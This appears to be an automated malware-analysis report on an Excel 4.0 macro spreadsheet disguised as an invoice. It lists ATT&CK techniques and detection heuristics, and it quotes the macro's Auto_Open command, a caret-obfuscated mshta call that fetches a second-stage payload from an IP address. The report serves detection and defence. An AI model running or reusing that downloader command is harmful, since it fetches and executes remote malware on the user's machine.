MALICIOUS
100
Risk Score
Malware Insights
MITRE ATT&CK
T1204.002 Malicious File
T1059.005 Service Execution: Visual Basic
T1105 Ingress Tool Transfer
The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet. It uses a common lure by presenting itself as an invoice and instructing the user to 'Enable Editing' and 'Enable Content' to view the information. The embedded XLM macro contains an Auto_Open defined name that executes the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html'. This command is designed to download a second-stage payload from the specified URL.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt1b5d2c0fd960b0ccb52c9814b8358c9c313741806cb2c5ef8340a3322e5a67a4 |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 1391 bytes |
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